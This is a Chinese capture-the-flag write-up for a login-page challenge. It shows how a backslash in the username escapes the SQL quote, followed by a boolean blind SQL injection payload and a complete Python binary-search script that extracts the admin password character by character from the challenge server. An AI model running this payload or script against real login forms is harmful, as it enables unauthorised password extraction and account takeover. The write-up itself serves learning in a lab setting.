解题思路
打开发现登陆框,随机输入一些,发现有waf,然后回显都是同样的字符串。fuzz一波,发现禁了挺多东西的。
select union 等
这里猜测是布尔盲注,错误的话显示的是:You konw ,P3rh4ps needs a girl friend
但是不管传入什么都回显这个,这里想是否有其他信息,我这种菜鸡还不会直接根据测试,猜测出sql语句。
robots.txt中发现hint,打开hint.php,发现sql语句。太好了
bypass sql
select * from users where username='$_POST["username"]' and password='$_POST["password"]'
这里传入的username和password都被单引号包裹,这里需要闭合单引号 ,闭合 ' $_POST["username"] and password=' 。即直接是:
'$_POST["username"] and password= '
$_POST["password"]'
这样就可以在password中传入查询语句。
在username处传入 admin ,
or没被禁,等于号被禁,
所以password传入or if(ascii(substr(password,1,1))>1,1,0)
爆破
第一个$符号里面的是偏移量,即确定password的每一位,第二个$符号里面的是当前password位的具体ascii码
意思是有12位,那打扰了。手动太累了,还是学写exp把
exp
import requests
import time
url = "http://ba1f818e-5cd8-42c9-9be0-a48646da5351.node3.buuoj.cn/index.php"
payload = {
"username" : "admin\",
"password" : ""
}
result = ""
for i in range(1,30):
low = 32
high =128
mid = (high+low)//2
while(low<high):
payload["password"] = "or if(ascii(substr(password,{},1))>{},1,0)#".format(i,mid)
html = requests.post(url,data=payload)
print(low,high,mid,":")
print(payload)
if "stronger" in html.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
if(low == 32 or high ==128):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
我人傻了,一开始写,一直不进行下去。最后修改发现问题是我把#符号,写成%23了。导致压根没有起作用,我纳闷半天。这也是一个坑点,python脚本不需要url编码
跑出来密码了,直接账号密码登陆,获得flag
总结思路
- 看见登陆框,两种回显,考虑布尔盲注,思考后台sql查询语句。
- 根据sql语句,转义单引号,导致payload可以逃逸
- 编写布尔盲注脚本
知识点
- sql注入
- 布尔盲注